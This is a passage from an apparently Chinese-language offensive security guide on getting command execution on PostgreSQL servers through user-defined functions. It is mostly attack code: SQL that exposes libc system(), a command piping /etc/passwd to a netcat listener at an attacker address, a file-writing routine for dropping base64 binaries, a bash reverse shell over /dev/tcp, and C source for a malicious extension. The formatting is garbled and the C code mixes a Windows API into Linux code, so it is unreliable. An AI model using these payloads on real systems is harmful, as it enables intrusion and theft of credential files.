CREATE OR REPLACEFUNCTIONsystem (cstring) RETURNSintegerAS'/lib/x86_64-linux-gnu/libc.so.6', 'system'LANGUAGE'c' STRICT;SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
从 base64 写入二进制文件
要在 postgres 中将二进制写入文件,您可能需要使用 base64,这对这个问题会很有帮助:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
然而,当在更高版本上尝试时显示了以下错误:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}